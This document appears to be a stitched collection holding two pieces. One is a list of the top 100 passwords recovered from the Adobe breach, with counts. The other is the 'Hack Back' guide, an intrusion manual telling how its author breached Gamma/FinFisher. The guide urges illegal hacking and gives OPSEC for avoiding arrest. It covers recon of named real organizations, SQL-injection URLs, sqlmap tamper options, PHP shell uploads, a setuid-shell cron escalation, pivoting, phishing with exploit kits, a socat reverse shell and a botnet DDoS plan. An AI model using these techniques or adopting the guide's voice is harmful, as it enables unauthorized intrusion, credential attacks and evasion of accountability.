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Marina von Steinkirch 2016-08-06 12:50:04 -07:00
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Top 100 Adobe Passwords with Count
We do not (yet) have the keys Adobe used to encrypt the passwords of 130,324,429 users affected by
their most recent breach. However, thanks to Adobe choosing symmetric key encryption over hashing,
selecting ECB mode, and using the same key for every password, combined with a large number of
known plaintexts and the generosity of users who flat-out gave us their password in their password
hint, this is not preventing us from presenting you with this list of the top 100 passwords
selected by Adobe users.
While we are fairly confident in the accuracy of this list, we have no way to actually verify it
right now. We don't have the keys, and Adobe is not letting any of the affected accounts log in
until the owners reset their passwords. So, it is possible there is an error or two in here. Caveat
emptor and such.
# Count Ciphertext Plaintext
--------------------------------------------------------------
1. 1911938 EQ7fIpT7i/Q= 123456
2. 446162 j9p+HwtWWT86aMjgZFLzYg== 123456789
3. 345834 L8qbAD3jl3jioxG6CatHBw== password
4. 211659 BB4e6X+b2xLioxG6CatHBw== adobe123
5. 201580 j9p+HwtWWT/ioxG6CatHBw== 12345678
6. 130832 5djv7ZCI2ws= qwerty
7. 124253 dQi0asWPYvQ= 1234567
8. 113884 7LqYzKVeq8I= 111111
9. 83411 PMDTbP0LZxu03SwrFUvYGA== photoshop
10. 82694 e6MPXQ5G6a8= 123123
11. 76910 j9p+HwtWWT8/HeZN+3oiCQ== 1234567890
12. 76186 diQ+ie23vAA= 000000
13. 70791 kCcUSCmonEA= abc123
14. 61453 ukxzEcXU6Pw= 1234
15. 56744 5wEAInH22i4= adobe1
16. 54651 WqflwJFYW3+PszVFZo1Ggg== macromedia
17. 48850 hjAYsdUA4+k= azerty
18. 47142 rpkvF+oZzQvioxG6CatHBw== iloveyou
19. 44281 xz6PIeGzr6g= aaaaaa
20. 43670 Ypsmk6AXQTk= 654321
21. 43497 4V+mGczxDEA= 12345
22. 37407 yp2KLbBiQXs= 666666
23. 35325 2dJY5hIJ4FHioxG6CatHBw== sunshine
24. 34963 1McuJ/7v9nE= 123321
25. 33452 yxzNxPIsFno= letmein
26. 32549 dCgB24yq9Bw= monkey
27. 31554 dA8D8OYD55E= asdfgh
28. 28349 L8qbAD3jl3jSPm/keox4fA== password1
29. 28303 zk8NJgAOqc4= shadow
30. 28132 Ttgs5+ZAZM7ioxG6CatHBw== princess
31. 27853 pTkQrKZ/JYM= dragon
32. 27840 2aZl4Ouarwm52NYYI936YQ== adobeadobe
33. 27720 NpVKrCM6pKw= daniel
34. 27699 Dts8klglTQDioxG6CatHBw== computer
35. 27415 4aiR1wv9z2Q= michael
36. 27387 XpDlpOQzTSE= 121212
37. 26502 ldvmctKdeN8= charlie
38. 25341 5nRuxOG9/Ho= master
39. 24499 y7F6CyUyVM/ioxG6CatHBw== superman
40. 24372 R3jcdque71gE+R+mSnMKEA== qwertyuiop
41. 23417 TduxwnCuA1U= 112233
42. 23157 2hD1nmJUmh3ioxG6CatHBw== asdfasdf
43. 22719 MyFBO2YW+Bw= jessica
44. 22672 cSZM/nlchzzioxG6CatHBw== 1q2w3e4r
45. 22204 Vqit1GVLLek= welcome
46. 22180 e+4n2zDarnvioxG6CatHBw== 1qaz2wsx
47. 22143 ZHgi8hFCTvrSPm/keox4fA== 987654321
48. 22103 OrzNCxMfwrw= fdsa
49. 21795 4chDWZgI7v0= 753951
50. 21449 vp6d18mfGL+5n2auThm2+Q== chocolate
51. 21383 4I4DOfx+UUg= fuckyou
52. 21208 Z07sabFOg5Y= soccer
53. 21100 pBqRSZNU8XU= tigger
54. 20961 WlMTLimQ5b4= asdasd
55. 20581 r/OONiXT+Ko= thomas
56. 20578 XWL3FNwnp+czgMjd+wJwNw== asdfghjkl
57. 20571 ueE89xIj8RTioxG6CatHBw== internet
58. 20331 ietF94QrMIbioxG6CatHBw== michelle
59. 20268 ecW6IyEemknioxG6CatHBw== football
60. 20022 ziypr2hyamc= 123qwe
61. 19907 7MLKr9CfrNg= zxcvbnm
62. 19825 7Z6uMyq9bpxe1EB7HijrBQ== dreamweaver
63. 19818 ZDxAirVSzvs= 7777777
64. 19237 zkXlvHcZYOg= maggie
65. 19129 GymA1zhi51k= qazwsx
66. 19113 lVwka/Mn8TPioxG6CatHBw== baseball
67. 18969 ghrvkwCcX4bioxG6CatHBw== jennifer
68. 18879 FTeB5SkrOZM= jordan
69. 18470 eOsrbcW/PeTioxG6CatHBw== abcd1234
70. 18177 Nz4/TI6o5RrioxG6CatHBw== trustno1
71. 18108 wQKWOaXi5eA= buster
72. 18049 b5LJqTmQmvQ= 555555
73. 18008 tnWjMXDBaIkzgMjd+wJwNw== liverpool
74. 17986 NtCzq/i0Ffc= abc
75. 17933 iMhaearHXjPioxG6CatHBw== whatever
76. 17717 OPQxDLW2L+DioxG6CatHBw== 11111111
77. 17706 jAZbtIgk1cg= 102030
78. 17581 g5pZihfzGve6cdBSCql/UQ== 123123123
79. 17454 MEXwK6GOWHk= andrea
80. 17442 JXko2WSrc6s= pepper
81. 17296 VATj787A2Ho= nicole
82. 17174 oa/GBGqIApo= killer
83. 17077 7eu5/SYuhng= abcdef
84. 16963 ORpiFlGkd0g= hannah
85. 16898 L3uQHNDF6Mw= test
86. 16616 kAtMKrzaD6jxHUX3hQObgQ== alexander
87. 16535 HWMCJDWy2MI= andrew
88. 16526 u5YtgXT+JKk= 222222
89. 16468 +XW6eYb0HTg= joshua
90. 16456 WVVYjePjnX4= freedom
91. 16374 QSay9kzQVz8= samsung
92. 16177 F9nqBYx2LhA= asdfghj
93. 16091 6KJbvp1JGKY= purple
94. 16073 FcX+iulysVg= ginger
95. 15962 v0cefPH2OLI= 123654
96. 15910 e21tszGBy4k= matrix
97. 15803 fbO2Wx232qY= secret
98. 15788 kOAk8W94ZX4= summer
99. 15752 pCVd59qFewU= 1q2w3e
100. 15637 agRGj5rtLD8= snoopy1
https://twitter.com/jmgosney
https://sagitta.pw/

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_ _ _ ____ _ _
| | | | __ _ ___| | __ | __ ) __ _ ___| | _| |
| |_| |/ _` |/ __| |/ / | _ \ / _` |/ __| |/ / |
| _ | (_| | (__| < | |_) | (_| | (__| <|_|
|_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
A DIY Guide for those without the patience to wait for whistleblowers
--[ 1 ]-- Introduction
I'm not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz
it took to 0wn Gamma. I'm writing this to demystify hacking, to show how simple
it is, and to hopefully inform and inspire you to go out and hack shit. If you
have no experience with programming or hacking, some of the text below might
look like a foreign language. Check the resources section at the end to help you
get started. And trust me, once you've learned the basics you'll realize this
really is easier than filing a FOIA request.
--[ 2 ]-- Staying Safe
This is illegal, so you'll need to take same basic precautions:
1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
2) Inside the encrypted volume install Whonix [1]
3) (Optional) While just having everything go over Tor thanks to Whonix is
probably sufficient, it's better to not use an internet connection connected
to your name or address. A cantenna, aircrack, and reaver can come in handy
here.
[0] https://truecrypt.ch/downloads/
[1] https://www.whonix.org/wiki/Download#Install_Whonix
As long as you follow common sense like never do anything hacking related
outside of Whonix, never do any of your normal computer usage inside Whonix,
never mention any information about your real life when talking with other
hackers, and never brag about your illegal hacking exploits to friends in real
life, then you can pretty much do whatever you want with no fear of being v&.
NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable
for some things like web browsing, when it comes to using hacking tools like
nmap, sqlmap, and nikto that are making thousands of requests, they will run
very slowly over Tor. Not to mention that you'll want a public IP address to
receive connect back shells. I recommend using servers you've hacked or a VPS
paid with bitcoin to hack from. That way only the low bandwidth text interface
between you and the server is over Tor. All the commands you're running will
have a nice fast connection to your target.
--[ 3 ]-- Mapping out the target
Basically I just repeatedly use fierce [0], whois lookups on IP addresses and
domain names, and reverse whois lookups to find all IP address space and domain
names associated with an organization.
[0] http://ha.ckers.org/fierce/
For an example let's take Blackwater. We start out knowing their homepage is at
academi.com. Running fierce.pl -dns academi.com we find the subdomains:
67.238.84.228 email.academi.com
67.238.84.242 extranet.academi.com
67.238.84.240 mail.academi.com
67.238.84.230 secure.academi.com
67.238.84.227 vault.academi.com
54.243.51.249 www.academi.com
Now we do whois lookups and find the homepage of www.academi.com is hosted on
Amazon Web Service, while the other IPs are in the range:
NetRange: 67.238.84.224 - 67.238.84.255
CIDR: 67.238.84.224/27
CustName: Blackwater USA
Address: 850 Puddin Ridge Rd
Doing a whois lookup on academi.com reveals it's also registered to the same
address, so we'll use that as a string to search with for the reverse whois
lookups. As far as I know all the actual reverse whois lookup services cost
money, so I just cheat with google:
"850 Puddin Ridge Rd" inurl:ip-address-lookup
"850 Puddin Ridge Rd" inurl:domaintools
Now run fierce.pl -range on the IP ranges you find to lookup dns names, and
fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more
whois lookups and repeat the process until you've found everything.
Also just google the organization and browse around its websites. For example on
academi.com we find links to a careers portal, an online store, and an employee
resources page, so now we have some more:
54.236.143.203 careers.academi.com
67.132.195.12 academiproshop.com
67.238.84.236 te.academi.com
67.238.84.238 property.academi.com
67.238.84.241 teams.academi.com
If you repeat the whois lookups and such you'll find academiproshop.com seems to
not be hosted or maintained by Blackwater, so scratch that off the list of
interesting IPs/domains.
In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com
was simply a whois lookup of finfisher.com which found it registered to the name
"FinFisher GmbH". Googling for:
"FinFisher GmbH" inurl:domaintools
finds gamma-international.de, which redirects to finsupport.finfisher.com
...so now you've got some idea how I map out a target.
This is actually one of the most important parts, as the larger the attack
surface that you are able to map out, the easier it will be to find a hole
somewhere in it.
--[ 4 ]-- Scanning & Exploiting
Scan all the IP ranges you found with nmap to find all services running. Aside
from a standard port scan, scanning for SNMP is underrated.
Now for each service you find running:
1) Is it exposing something it shouldn't? Sometimes companies will have services
running that require no authentication and just assume it's safe because the url
or IP to access it isn't public. Maybe fierce found a git subdomain and you can
go to git.companyname.come/gitweb/ and browse their source code.
2) Is it horribly misconfigured? Maybe they have an ftp server that allows
anonymous read or write access to an important directory. Maybe they have a
database server with a blank admin password (lol stratfor). Maybe their embedded
devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer's
default password.
3) Is it running an old version of software vulnerable to a public exploit?
Webservers deserve their own category. For any webservers, including ones nmap
will often find running on nonstandard ports, I usually:
1) Browse them. Especially on subdomains that fierce finds which aren't intended
for public viewing like test.company.com or dev.company.com you'll often find
interesting stuff just by looking at them.
2) Run nikto [0]. This will check for things like webserver/.svn/,
webserver/backup/, webserver/phpinfo.php, and a few thousand other common
mistakes and misconfigurations.
3) Identify what software is being used on the website. WhatWeb is useful [1]
4) Depending on what software the website is running, use more specific tools
like wpscan [2], CMS-Explorer [3], and Joomscan [4].
First try that against all services to see if any have a misconfiguration,
publicly known vulnerability, or other easy way in. If not, it's time to move
on to finding a new vulnerability:
5) Custom coded web apps are more fertile ground for bugs than large widely used
projects, so try those first. I use ZAP [5], and some combination of its
automated tests along with manually poking around with the help of its
intercepting proxy.
6) For the non-custom software they're running, get a copy to look at. If it's
free software you can just download it. If it's proprietary you can usually
pirate it. If it's proprietary and obscure enough that you can't pirate it you
can buy it (lame) or find other sites running the same software using google,
find one that's easier to hack, and get a copy from them.
[0] http://www.cirt.net/nikto2
[1] http://www.morningstarsecurity.com/research/whatweb
[2] http://wpscan.org/
[3] https://code.google.com/p/cms-explorer/
[4] http://sourceforge.net/projects/joomscan/
[5] https://code.google.com/p/zaproxy/
For finsupport.finfisher.com the process was:
* Start nikto running in the background.
* Visit the website. See nothing but a login page. Quickly check for sqli in the
login form.
* See if WhatWeb knows anything about what software the site is running.
* WhatWeb doesn't recognize it, so the next question I want answered is if this
is a custom website by Gamma, or if there are other websites using the same
software.
* I view the page source to find a URL I can search on (index.php isn't
exactly unique to this software). I pick Scripts/scripts.js.php, and google:
allinurl:"Scripts/scripts.js.php"
* I find there's a handful of other sites using the same software, all coded by
the same small webdesign firm. It looks like each site is custom coded but
they share a lot of code. So I hack a couple of them to get a collection of
code written by the webdesign firm.
At this point I can see the news stories that journalists will write to drum
up views: "In a sophisticated, multi-step attack, hackers first compromised a
web design firm in order to acquire confidential data that would aid them in
attacking Gamma Group..."
But it's really quite easy, done almost on autopilot once you get the hang of
it. It took all of a couple minutes to:
* google allinurl:"Scripts/scripts.js.php" and find the other sites
* Notice they're all sql injectable in the first url parameter I try.
* Realize they're running Apache ModSecurity so I need to use sqlmap [0] with
the option --tamper='tamper/modsecurityversioned.py'
* Acquire the admin login information, login and upload a php shell [1] (the
check for allowable file extensions was done client side in javascript), and
download the website's source code.
[0] http://sqlmap.org/
[1] https://epinna.github.io/Weevely/
Looking through the source code they might as well have named it Damn Vulnerable
Web App v2 [0]. It's got sqli, LFI, file upload checks done client side in
javascript, and if you're unauthenticated the admin page just sends you back to
the login page with a Location header, but you can have your intercepting proxy
filter the Location header out and access it just fine.
[0] http://www.dvwa.co.uk/
Heading back over to the finsupport site, the admin /BackOffice/ page returns
403 Forbidden, and I'm having some issues with the LFI, so I switch to using the
sqli (it's nice to have a dozen options to choose from). The other sites by the
web designer all had an injectable print.php, so some quick requests to:
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1
reveal that finsupport also has print.php and it is injectable. And it's
database admin! For MySQL this means you can read and write files. It turns out
the site has magicquotes enabled, so I can't use INTO OUTFILE to write files.
But I can use a short script that uses sqlmap --file-read to get the php source
for a URL, and a normal web request to get the HTML, and then finds files
included or required in the php source, and finds php files linked in the HTML,
to recursively download the source to the whole site.
Looking through the source, I see customers can attach a file to their support
tickets, and there's no check on the file extension. So I pick a username and
password out of the customer database, create a support request with a php shell
attached, and I'm in!
--[ 5 ]-- (fail at) Escalating
___________
< got r00t? >
-----------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
^^^^^^^^^^^^^^^^
Root over 50% of linux servers you encounter in the wild with two easy scripts,
Linux_Exploit_Suggester [0], and unix-privesc-check [1].
[0] https://github.com/PenturaLabs/Linux_Exploit_Suggester
[1] https://code.google.com/p/unix-privesc-check/
finsupport was running the latest version of Debian with no local root exploits,
but unix-privesc-check returned:
WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
www-data can write to /etc/cron.hourly/mgmtlicensestatus
WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
can write to /etc/cron.hourly/webalizer
so I add to /etc/cron.hourly/webalizer:
chown root:root /path/to/my_setuid_shell
chmod 04755 /path/to/my_setuid_shell
wait an hour, and ....nothing. Turns out that while the cron process is running
it doesn't seem to be actually running cron jobs. Looking in the webalizer
directory shows it didn't update stats the previous month. Apparently after
updating the timezone cron will sometimes run at the wrong time or sometimes not
run at all and you need to restart cron after changing the timezone. ls -l
/etc/localtime shows the timezone got updated June 6, the same time webalizer
stopped recording stats, so that's probably the issue. At any rate, the only
thing this server does is host the website, so I already have access to
everything interesting on it. Root wouldn't get much of anything new, so I move
on to the rest of the network.
--[ 6 ]-- Pivoting
The next step is to look around the local network of the box you hacked. This
is pretty much the same as the first Scanning & Exploiting step, except that
from behind the firewall many more interesting services will be exposed. A
tarball containing a statically linked copy of nmap and all its scripts that you
can upload and run on any box is very useful for this. The various nfs-* and
especially smb-* scripts nmap has will be extremely useful.
The only interesting thing I could get on finsupport's local network was another
webserver serving up a folder called 'qateam' containing their mobile malware.
--[ 7 ]-- Have Fun
Once you're in their networks, the real fun starts. Just use your imagination.
While I titled this a guide for wannabe whistleblowers, there's no reason to
limit yourself to leaking documents. My original plan was to:
1) Hack Gamma and obtain a copy of the FinSpy server software
2) Find vulnerabilities in FinSpy server.
3) Scan the internet for, and hack, all FinSpy C&C servers.
4) Identify the groups running them.
5) Use the C&C server to upload and run a program on all targets telling them
who was spying on them.
6) Use the C&C server to uninstall FinFisher on all targets.
7) Join the former C&C servers into a botnet to DDoS Gamma Group.
It was only after failing to fully hack Gamma and ending up with some
interesting documents but no copy of the FinSpy server software that I had to
make due with the far less lulzy backup plan of leaking their stuff while
mocking them on twitter.
Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password
already so I can move on to step 2!
--[ 8 ]-- Other Methods
The general method I outlined above of scan, find vulnerabilities, and exploit
is just one way to hack, probably better suited to those with a background in
programming. There's no one right way, and any method that works is as good as
any other. The other main ways that I'll state without going into detail are:
1) Exploits in web browers, java, flash, or microsoft office, combined with
emailing employees with a convincing message to get them to open the link or
attachment, or hacking a web site frequented by the employees and adding the
browser/java/flash exploit to that.
This is the method used by most of the government hacking groups, but you don't
need to be a government with millions to spend on 0day research or subscriptions
to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit
for a couple thousand, and rent access to one for much less. There's also
metasploit browser autopwn, but you'll probably have better luck with no
exploits and a fake flash updater prompt.
2) Taking advantage of the fact that people are nice, trusting, and helpful 95%
of the time.
The infosec industry invented a term to make this sound like some sort of
science: "Social Engineering". This is probably the way to go if you don't know
too much about computers, and it really is all it takes to be a successful
hacker [0].
[0] https://www.youtube.com/watch?v=DB6ywr9fngU
--[ 9 ]-- Resources
Links:
* https://www.pentesterlab.com/exercises/
* http://overthewire.org/wargames/
* http://www.hackthissite.org/
* http://smashthestack.org/
* http://www.win.tue.nl/~aeb/linux/hh/hh.html
* http://www.phrack.com/
* http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot
* http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
* https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/
* https://www.netspi.com/blog/entryid/140/resources-for-aspiring-penetration-testers
(all his other blog posts are great too)
* https://www.corelan.be/ (start at Exploit writing tutorial part 1)
* http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
One trick it leaves out is that on most systems the apache access log is
readable only by root, but you can still include from /proc/self/fd/10 or
whatever fd apache opened it as. It would also be more useful if it mentioned
what versions of php the various tricks were fixed in.
* http://www.dest-unreach.org/socat/
Get usable reverse shells with a statically linked copy of socat to drop on
your target and:
target$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM
host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM
It's also useful for setting up weird pivots and all kinds of other stuff.
Books:
* The Web Application Hacker's Handbook
* Hacking: The Art of Exploitation
* The Database Hacker's Handbook
* The Art of Software Security Assessment
* A Bug Hunter's Diary
* Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier
* TCP/IP Illustrated
Aside from the hacking specific stuff almost anything useful to a system
administrator for setting up and administering networks will also be useful for
exploring them. This includes familiarity with the windows command prompt and unix
shell, basic scripting skills, knowledge of ldap, kerberos, active directory,
networking, etc.
--[ 10 ]-- Outro
You'll notice some of this sounds exactly like what Gamma is doing. Hacking is a
tool. It's not selling hacking tools that makes Gamma evil. It's who their
customers are targeting and with what purpose that makes them evil. That's not
to say that tools are inherently neutral. Hacking is an offensive tool. In the
same way that guerrilla warfare makes it harder to occupy a country, whenever
it's cheaper to attack than to defend it's harder to maintain illegitimate
authority and inequality. So I wrote this to try to make hacking easier and more
accessible. And I wanted to show that the Gamma Group hack really was nothing
fancy, just standard sqli, and that you do have the ability to go out and take
similar action.
Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea
Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned
hackers, dissidents, and criminals!